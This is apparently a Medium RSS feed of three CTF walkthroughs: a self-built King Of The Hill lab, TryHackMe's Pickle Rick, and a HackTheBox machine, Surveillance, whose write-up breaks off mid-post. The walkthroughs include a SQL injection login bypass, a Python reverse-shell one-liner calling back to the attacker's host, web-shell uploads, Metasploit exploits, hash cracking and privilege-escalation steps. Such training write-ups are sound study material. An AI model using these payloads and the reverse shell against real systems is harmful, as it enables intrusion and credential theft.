<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Baker Womack on Medium]]></title>
        <description><![CDATA[Stories by Baker Womack on Medium]]></description>
        <link>https://medium.com/@bakerwomack?source=rss-104e96e61a4b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*QPbbiWC8IWq4o_Al</url>
            <title>Stories by Baker Womack on Medium</title>
            <link>https://medium.com/@bakerwomack?source=rss-104e96e61a4b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 12:35:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bakerwomack/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[King Of The Hill CTF]]></title>
            <link>https://medium.com/@bakerwomack/king-of-the-hill-ctf-3150314ae63f?source=rss-104e96e61a4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3150314ae63f</guid>
            <category><![CDATA[infosec-write-ups]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Baker Womack]]></dc:creator>
            <pubDate>Fri, 05 Sep 2025 21:57:22 GMT</pubDate>
            <atom:updated>2025-09-05T21:57:22.423Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/250/0*nrUe_MrIZdpSD0YV.png" /></figure><p>Lets do a walkthrough of the King Of The Hill CTF. This CTF was created as a beginner friendly environment that is simple to set up along with some basic vulnerabilities that I found to be common in collegiate cyber security competitions. So lets get started!</p><p><a href="https://github.com/WomackBaker/KOTH_CTF">https://github.com/WomackBaker/KOTH_CTF</a></p><h3>Set Up</h3><p>Clone the git repo</p><pre>git clone https://github.com/WomackBaker/KOTH_CTF.git</pre><p>Ensure docker is up and running</p><pre>docker -h</pre><p>Bring up the docker environment</p><pre>docker-compose up --build -d</pre><p>To connect you will need to have openvpn downloaded, then create your config files using the install_openvpn scripts</p><pre>OpenVPN Installation Script<br>Usage: install_openvpn.bat -i [IP] -c [count] [-p [port]] [-o [output_dir]]<br><br>Required:<br>  -i [IP]       Public IP address (use 10.8.0.1 for VPN network)<br>  -c [count]    Number of client configs<br><br>Optional:<br>  -p [port]     Port (default: 1194)<br>  -o [dir]      Output directory (default: .\client_configs)<br>  -h            Show this help<br><br>Example: install_openvpn.bat -i 10.8.0.1 -c 5</pre><p>If running locally and just for yourself use the following</p><pre>./install_openvpn.sh -i 127.0.0.1 -c 1</pre><pre>./install_openvpn.bat -i 127.0.0.1 -c 1</pre><p>This will create a .ovpn file for you to use to connect</p><pre>sudo openvpn ./client1.ovpn</pre><p>The install_openvpn scripts brings down the docker environment so bring it back up to officially connect</p><pre>docker-compose up</pre><h3>Enumeration</h3><p>The first part of attacking any environment is to understand what&#39;s around you and what to look at. We know through the readme that all the machines are on a 172.20.0.0/16 network. By running nmap, we can find more about each individual machine.</p><pre>└─$ sudo nmap 172.20.0.0/24<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 11:47 EDT<br>Nmap scan report for 172.20.0.1<br>Host is up (0.0012s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT     STATE SERVICE<br>111/tcp  open  rpcbind<br>8000/tcp open  http-alt<br><br>Nmap scan report for 172.20.0.8<br>Host is up (0.0012s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http<br><br>Nmap scan report for 172.20.0.10<br>Host is up (0.0012s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http<br><br>Nmap scan report for 172.20.0.63<br>Host is up (0.0011s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>2222/tcp open  EtherNetIP-1<br><br>Nmap scan report for 172.20.0.189<br>Host is up (0.0011s latency).<br>Not shown: 997 closed tcp ports (reset)<br>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>8009/tcp open  ajp13<br>8080/tcp open  http-proxy<br><br>Nmap scan report for 172.20.0.213<br>Host is up (0.0012s latency).<br>Not shown: 999 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>80/tcp open  http<br><br>Nmap scan report for 172.20.0.215<br>Host is up (0.0012s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http<br><br>Nmap scan report for 172.20.0.250<br>Host is up (0.0012s latency).<br>All 1000 scanned ports on 172.20.0.250 are in ignored states.<br>Not shown: 1000 closed tcp ports (reset)<br><br>Nmap scan report for 172.20.0.251<br>Host is up (0.0012s latency).<br>Not shown: 999 closed tcp ports (reset)<br>PORT     STATE SERVICE<br>8000/tcp open  http-alt<br><br>Nmap done: 256 IP addresses (9 hosts up) scanned in 5.27 seconds</pre><p>We also know from the readme that 172.20.0.1, 172.20.0.250, 172.20.0.251 is out of scope.</p><p>But we can checkout and create an account on the scoreboard, which if hosted locally will be http://127.0.0.1:8000 or if using the VPN connection http://172.20.0.251:8000. After creating an account and logging in we see that we have to obtain 31 flags to finish, so lets work from the bottom up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xKErBIuEdm8kuwwpJFUZ0A.png" /></figure><h3>172.20.0.8</h3><pre>Nmap scan report for 172.20.0.8<br>Host is up (0.0012s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http</pre><p>Since we do not have any previous credentials, we should look at the webserver first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*ggXfgJKcbMCHzJiJL33yaA.png" /></figure><p>Looks like a test web server was exposed, lets check the source code for any leaks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*PZk8zwookwE_0YDKKmfXJg.png" /></figure><p>We got our first flag! We should use that ‘toor’ password and see if we can ssh in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*UXjgTEkn4-YzArFsoYnWtg.png" /></figure><p>We are in, make sure you look around for any suspicious files or pictures before moving on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/1*dhbQsuEvPgd_Jz77Noz6Pw.png" /></figure><p>Enumerating the local users gives some new usernames to add into our brute list, along with an additional flag and pictures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*wz_zdqqsIDCSNwsqRnQVwA.png" /></figure><p>Go ahead and copy those files down and inspect them, we can do that using the scp tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*rHW1uMXA1bx9Z7rpcU1onA.png" /></figure><p>This command is recursively coping all .jpg files inside of dale’s directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*barKHVTeJZo9aC3Iz3oCAw.png" /></figure><p>Here is what the Fh8mIaQ.jpg is, though funny it seems to hold some more critical info. To check for hidden flags inside the file, we can either use the strings command or exiftool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*O3ANgqEo6PxBF_gm8THGMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*yjmLM7P_J3Ko4FloGnIYZQ.png" /></figure><p>We were able to find a flag inside of both pictures, so that brings us to 4 out of 31 flags.</p><h3>172.20.0.10</h3><pre>Nmap scan report for 172.20.0.10<br>Host is up (0.0012s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http</pre><p>We can try to do brute force common passwords since we already have some usernames, but lets why don’t we look at the web server first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*E2x68c86_8asDFveCbQy3w.png" /></figure><p>Strange, the default Apache screen popped up, lets brute force the web directories to see if there is anything else.</p><p>Using a tool called ffuf we find the following directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*t-ZhwzCRdnPnLbiUcBDolw.png" /></figure><p>We see that there is two web pages, index.html which is the default Apache page and a index.php, so lets check that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*-m3-9wQZbh4n4Oee3tTLCg.png" /></figure><p>Ok, so we have a login page for Strickland Propane and are given some hints about users to try.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*gTjsIosFGvDJiEdhMnRYfQ.png" /></figure><p>Seems like hank has left some debug info on the page, showing that its querying from a database. This also seems like it’s taking direct input from the user, allowing for an easy sql injection.</p><p>Using the payload…</p><pre>admin &#39; or 1=1 --</pre><p>We get access!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*zGcAJfejpsSEsHbOB9tKWg.png" /></figure><p>Not only did we get a flag but we got a long list of passwords, lets save these usernames and password as we might need them in the future.</p><p>Using the credentials found we get user access!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*qjpho9QOLIvbGUSy3XYogg.png" /></figure><p>Lets now do our basic enumeration and try to get root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*KRcx5v603UZOt_KzscZIPg.png" /></figure><p>Seems like we have some more suspicious jpgs, but nothing to help with root access.</p><p>Through our enumeration, we found a crontab that consistently runs as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fS6u8epfJ1-uZjowkocqzg.png" /></figure><p>We should observe the file permissions to see if we can write to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*Aw20Hyng3gYZumkrWqHP_A.png" /></figure><p>Since we can write to it, we can easily priv esc to root. There are a few methods, but lets do a simple reverse shell.</p><p>I like to use the reverse shell generator (<a href="https://www.revshells.com/">https://www.revshells.com/</a>) to give me a simple one liner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXskhSkAjEWVSwFValJfPA.png" /></figure><p>Our ip is the ip located under tun0 and the port is the port we can to listen to. We can get our ip by doing…</p><pre>ip a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JoAgPKD0hn5vZCJZD0iu1g.png" /></figure><p>Then echo the reverse shell into the backup script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4_UWmHhsmvZm8OMcn1GXSQ.png" /></figure><p>Then using a netcat listener, we get our root shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*QpFhSpxxcTeZSGMyx0cjMw.png" /></figure><p>After this root flag and the suspicious files, you should now have 8 flags.</p><h3>172.20.0.63</h3><pre>Nmap scan report for 172.20.0.63<br>Host is up (0.0011s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>2222/tcp open  EtherNetIP-1</pre><p>On this machine, we see two ports open and after trying the new credentials using ssh on port 22 we still do not have access. So lets find what this port 2222 is running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*Q0ytcNULJ8eyuPGRRCzbTQ.png" /></figure><p>Using netcat we can see that openssh is running so lets try some credentials on this port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rLDobu2a6sQ0O_DXdcUfmQ.png" /></figure><p>Using netexec, we see that they reused the root:toor password. When we logged in we had root access and through our basic enumeration we were able to find another 4 flags!</p><h3>172.20.0.189</h3><pre>Nmap scan report for 172.20.0.189<br>Host is up (0.0011s latency).<br>Not shown: 997 closed tcp ports (reset)<br>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>8009/tcp open  ajp13<br>8080/tcp open  http-proxy</pre><p>We see that there are two http services running, but only a webpage is running on 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*F7vOkWkDUqNN34vJMNdUkQ.png" /></figure><p>At the top, we see that Bill has left some secret files, so lets check that out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*XL3TTBw2GqSyS7efNG7Lbw.png" /></figure><p>So we know now that the Tomcat version is vulnerable and that there is a AJP connector. With a simple search we can find out vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*1cx4BoNu2NWWLz6pM_b0zQ.png" /></figure><p>The ghostcat vulnerability should give access to read the web.xml file that might have credentials and since there is a metasploit module, lets use that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*flI2vh5YqUpE7GuK6iJ22Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1I3Otoola0g9AhC8f50z9g.png" /></figure><p>After running we get some config information about the database along with the credential bill:ComeBackLenore. Using that we can get user access via SSH.</p><p>After some enumeration, we can see that we can run the awk command without a password as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J--MRvoEDy2xTEClOflkMg.png" /></figure><p>A quick search on GTFO bins (<a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a>), we can get a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*t6T01reV-jG1nFWaKw_J3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*GtBAXmQuztZZyEnzIwZfdQ.png" /></figure><p>With some data mining we can find both the user and root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*VXSvBkiFJISonAZI4NxBNw.png" /></figure><p>Before moving on, its incredibly important to fully enumerate each machine, when we check to see our NICs. As you can see we are attached to another subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U70sSOAB83Le24svGF9QPQ.png" /></figure><p>We can check to see other machines on this subnet by using a bash ping sweep:</p><pre>for i in {1..254}; do ping -c 1 192.168.100.$i | grep &quot;64 bytes&quot; | cut -d &#39; &#39; -f 4 | tr -d &#39;:&#39;; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IIUXj5qnvBUk5ok2-_Up1A.png" /></figure><p>Using this we found one extra machine that is active, since nmap is also on this box, lets use that to scan the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qLyfgOXX7UNONwobakFbBw.png" /></figure><p>We can then use the dynamic port forwarding that SSH has to interact with that machine from our localhost.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*LyuxDl4Ztezx4RaG5jBYiA.png" /></figure><p>Since we have our proxychains config set to 9050…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*0qMt2IWbnakbp_73JFO86g.png" /></figure><p>We can run commands using proxychains to interact with that machine.</p><p>For instance, lets take a look at the webserver, we can do this by utilizing proxychains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*jE8n_TmsVf_JkUnx8t-yLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*_MX6eBMyvaFjmOpu6fPc0w.png" /></figure><p>We were able to find a flag along with some new credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*otxi0Zeib2CAQxZJOuOGiA.png" /></figure><p>Lets try to log in and get root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*L8hcSN8jPUpIkdm-eLp4Uw.png" /></figure><p>After some enumeration as strickland, we found that the user strickland left their bash history open revealing the root password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*eSHwest_sphnTPwDN8MaFw.png" /></figure><h3>172.20.0.213</h3><pre>Nmap scan report for 172.20.0.213<br>Host is up (0.0012s latency).<br>Not shown: 999 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>80/tcp open  http</pre><p>With only a web page running, lets see what we can find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*y_IldTLsl57Y0fx4bs3LAA.png" /></figure><p>Dale seem to have a secure upload portal, but it looks php scripts are allowed so lets get a web shell using phpbash (<a href="https://github.com/Arrexel/phpbash">https://github.com/Arrexel/phpbash</a>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*-wvFGDGjhyPijS97-I6TXA.png" /></figure><p>Looks like we have a successful upload, lets check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*8tw6TAukT-drkB_cnJZraA.png" /></figure><p>Phpbash gives a webshell in the form of a terminal so why don’t we try to get user access then root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*S2FTwzq8ayku8n9houFv1g.png" /></figure><p>We have a hint in the minh directory and a hash.txt in connie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*u4NqgAi-2ZLKX-UlA3lS_Q.png" /></figure><p>Looks like its a web server that is not turned on, lets turn it back on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*1huZQ4R_lwmcCH4bXvoGIw.png" /></figure><p>After starting, we got an extra flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*VoGhhvvV5R8bpfpD_7R3MQ.png" /></figure><p>Lets go back to that hash, from experience it looks like a MD5 hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*7Zv85h9CnAlSsnxKjuyJuA.png" /></figure><p>Using hashcat and the rockyou wordlist this is an easy crack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*1NIs8nabui2FktpoJiLJZA.png" /></figure><p>After cracking we get the password <strong>1234567</strong>, so lets log into the user Connie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*PlTsBG7uL-49vM4rk3Mmfw.png" /></figure><p>That’s weird, after trying each of the users, it turned out to be the root password.</p><h3>172.20.0.215</h3><pre>Nmap scan report for 172.20.0.215<br>Host is up (0.0012s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http</pre><p>The homepage brings us to Nine Rivers Country Club and it seemslike we have a reservations.cgi endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*YqdqAanNP00VqMQ8H69TbA.png" /></figure><p>On the reservations endpoint we have some debugging info, but nothing that looks like it could lead to a RCE or more info. From research cgi-bin endpoint vulnerabilities, from examining the information, the website is vulnerable to a shellshock exploit.</p><p>Using metasploit, we can easily get a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPvWWN0gQNzpRMb96sW6hA.png" /></figure><p>After settings rhosts and the targeturi paramter, we got it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Em594FwcwV-vvqe9Ktvu5A.png" /></figure><p>After some enumeration we found the user flag, images, and a hidden note was left for kahn. Using the password provided, we got ssh access to the machine!</p><p>After following the hacktricks linux priv esc guide, we find that there is a suid bit on the find command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tIa4rnCjSQzOoVtdWVFd5g.png" /></figure><p>Using the shell from gtfo bins, we got root access and the final flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ccoFTzSSsPuTIolPQnFQog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*gb1f7z771uR515bczqylxQ.jpeg" /></figure><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3150314ae63f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pickle Rick THM | Walkthrough]]></title>
            <link>https://medium.com/@bakerwomack/pickle-rick-thm-walkthrough-b0d038785559?source=rss-104e96e61a4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0d038785559</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Baker Womack]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 16:34:54 GMT</pubDate>
            <atom:updated>2024-09-05T16:38:46.916Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*EAInz-DggLWOri7i" /></figure><p>Hello everyone, this is going to be a basic walkthrough of the Pickle Rick ctf from tryhackme.</p><p><strong>Set-Up</strong></p><p>Download the OpenVPN configuration file</p><ul><li>Go to <a href="https://tryhackme.com/r/access">https://tryhackme.com/r/access</a></li><li>Download configuration file</li></ul><p>Start the connection through this command:</p><pre>sudo openvpn /Path/To/File</pre><p><strong>Enumeration</strong></p><p>The very first thing you need to do when given the IP address is to find what ports are available.</p><p>The reason why we want to find what ports are opened is because the port is going to be attached to a service. This service could be a web server, file server, email server,….</p><p>To enumerate these ports we can use a tool called Nmap.</p><p>To install:</p><pre>sudo apt install nmap</pre><p>This is an amazing tool and is essential to learn for both the red and blue sides of cyber security.</p><p>In our case here is the command I am using:</p><pre>sudo nmap -sV 10.10.10.10 -oN nmap.txt</pre><p><strong>Command Explanation</strong>:</p><ul><li>-sV Checks for the version of the service running</li><li>-oN Will output as a normal text file to nmap.txt</li></ul><p><strong>Output</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*vhIEIznBBxB2UHCY38WxOQ.png" /></figure><p>So we can see that on this particular IP there is an webserver and a ssh server. Since we do not have any sort of credentials lets check out the HTTP server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*4TFS2gOQe5D6btHe2vMFjw.png" /></figure><p>Looking around this page there are not any links, however, its always a good idea to check the source code.</p><p>When we check the source code through inspect element, we can see it provides a username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*yoLa-Dxm0B5HNAzqQFN0Ng.png" /></figure><p>Cool, lets save this for later.</p><p>Next lets find some other web directories. I personally use dirsearch for basic searches and feroxbuster for more complex targets. However, you can use any other tool such as dirbuster, gobuster, or ffuf.</p><p>To install dirsearch:</p><pre>sudo apt install dirsearch</pre><p>Lets run it and see what we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*nMspdXapBoJj1gnszq5kxg.png" /></figure><p>Looks like we have an assets page, login page, and robots.txt.</p><p>Robots.txt is a great place to look as there are usually new endpoints to check out or in this case some more information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*s8NWwvuCvVKgkmy9RbmZDg.png" /></figure><p>This is pretty strange and on some other assessment, I would pay any attention. However, since this is a CTF and we just were given a username let’s try it as a password.</p><p>Looks like that worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*vemxwOSSumRt4VJNqsgJhQ.png" /></figure><p>Alright after looking around it looks like only the “real” rick can access these.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*pYyDtd0M7kRRpjP1bLHXag.png" /></figure><p>After trying a couple of commands it looks like we can execute commands on the remote system but only with certain commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*TsNDcWUwgRHPvPWgJQ36Yg.png" /></figure><p>Since it&#39;s executing commands, so let&#39;s see if we can get a reverse shell.</p><p>In scenarios like these, I use a reverse shell generator to try different things.</p><p><a href="https://www.revshells.com/">Online - Reverse Shell Generator</a></p><p>After trying a couple of commands it looks like python3 is available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*cVbfXIUaWIcdwYC9c-lQ_g.png" /></figure><p>Since we have python, here is the exact command I used to get this reverse shell.</p><pre>export RHOST=&quot;10.13.48.43&quot;;export RPORT=1234;python3 -c &#39;import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(&quot;RHOST&quot;),int(os.getenv(&quot;RPORT&quot;))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(&quot;sh&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*iX2y2CQwelTZdLK8k-_14A.png" /></figure><p>We got the first ingredient!</p><p>We also have a clue saying to look around for the secret ingredients.</p><pre>$ cat clue.txt<br>Look around the file system for the other ingredients.</pre><p>Let’s check the home folder to see what users are there.</p><pre>$ cd /home<br>$ ls<br>rick  ubuntu<br>$ cd rick<br>$ ls<br>&#39;second ingredients&#39;<br>$ ls -la    <br>ls -la<br>total 12<br>drwxrwxrwx 2 root root 4096 Feb 10  2019  .<br>drwxr-xr-x 4 root root 4096 Feb 10  2019  ..<br>-rwxrwxrwx 1 root root   13 Feb 10  2019 &#39;second ingredients&#39;</pre><p>Now we have ingredients 3 and 2. Now for the last one. Lets now check who we are and what permissions we have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*sCcmxKzNOytYGDs18QEnog.png" /></figure><p>Commands:</p><ul><li>whoami — finds what user you currently are</li><li>Sudo -l — list what permissions I currently have as my current user</li></ul><p>So we now know that we are the user www-data and we are able to run any sudo command without a password.</p><p>To get root I ran:</p><pre>sudo su</pre><p>After, check the root folder for the last ingredient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*mSnb2ZRApuIXkRkTEPkjXg.png" /></figure><p>That’s it, thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0d038785559" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Surveillance — Write Up]]></title>
            <link>https://medium.com/@bakerwomack/surveillance-write-up-3bc9be5e9732?source=rss-104e96e61a4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bc9be5e9732</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Baker Womack]]></dc:creator>
            <pubDate>Fri, 29 Dec 2023 18:40:58 GMT</pubDate>
            <atom:updated>2024-01-24T17:49:25.678Z</atom:updated>
            <content:encoded><![CDATA[<h3>Surveillance | HTB | — Write Up</h3><p>Reconnaissance:</p><p>Once given my IP address, I turned to Nmap to find what is open to the world.</p><pre>sudo nmap -sV -p- -vv -Pn 10.10.11.245 -oN nmap.txt</pre><p>I am being extra with the flags, but it just saves a bit of time. Here is what i found.</p><pre>Nmap scan report for surveillance.htb (10.10.11.245)<br>Host is up, received user-set (0.068s latency).<br>Scanned at 2023-12-29 11:36:59 EST for 77s<br>Not shown: 65533 closed ports<br>Reason: 65533 resets<br>PORT   STATE SERVICE REASON         VERSION<br>22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</pre><p>From the results it seems that there is an web server running, let’s check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qi2bWxO717NjPZg3KhV_XA.png" /></figure><p>After checking out the website, there doesn’t seem to be anything on this particular page, so I did some directory enumeration using <strong>dirsearch</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*roxU2moYmBNA4lt_XHNuJw.png" /></figure><p>The results showed that there seems to be an admin login page and after taking a look it seems to be running <strong>craft cms</strong>. Luckily, there is a recent craft cms vulnerability that allows rce.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*Sc_2ue4-v00j1WfSpFVqqg.png" /><figcaption><a href="https://gist.github.com/gmh5225/8fad5f02c2cf0334249614eb80cbf4ce">https://gist.github.com/gmh5225/8fad5f02c2cf0334249614eb80cbf4ce</a></figcaption></figure><p>Using this code we got a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*xdfUoc2EvH6_staCnNMRRQ.png" /></figure><p>I originally had a hard time upgrading the shell to a Full TTY, so i decided to just send reverse shell and pick it up through Netcat.</p><p>After having a look around, I found a SQL database in the <strong>web backup</strong> directory. After downloading it, I took a look and it had a hash for the admin, more specifically, a user named <strong>matthew</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*XqOHQ6izZl6ILjXIr3payg.png" /></figure><p>The hash was found to be <strong>SHA256</strong> and I ran <strong>Hashcat</strong> to crack it.</p><pre>hashcat -m 1400 hash ~/Documents/htb/wordlists/rockyou.txt</pre><p>Using this password I was able to ssh into the box as matthew.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*rba4cE7ti66zrZhyl9f0bw.png" /></figure><p>We got the user text!</p><p>After some local recon using <strong>netstat</strong>, I found that there is a open 8080 port on the machine. An 8080 port typically means there is an admin login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*D9JJfEX0hzPFfgv4Xif-lQ.png" /></figure><p>We know that this port is not open externally, but there might be a may to access through ssh.</p><p>Which there is, by using port forwarding through the ssh tunnel:</p><pre>ssh matthew@10.10.11.245 -L 8080:localhost:8080</pre><p>This brought us to this website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NBpmSZOS8iybqcQv-Q_UUw.png" /></figure><p>From searching around about zoneminder from before, I remembered a major rce vulnerability. So I tried that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*mgJaH0j_N23oB9rSzNQ7NA.png" /><figcaption><a href="https://github.com/rvizx/CVE-2023-26035">https://github.com/rvizx/CVE-2023-26035</a></figcaption></figure><p>That worked!</p><figure><img alt="" 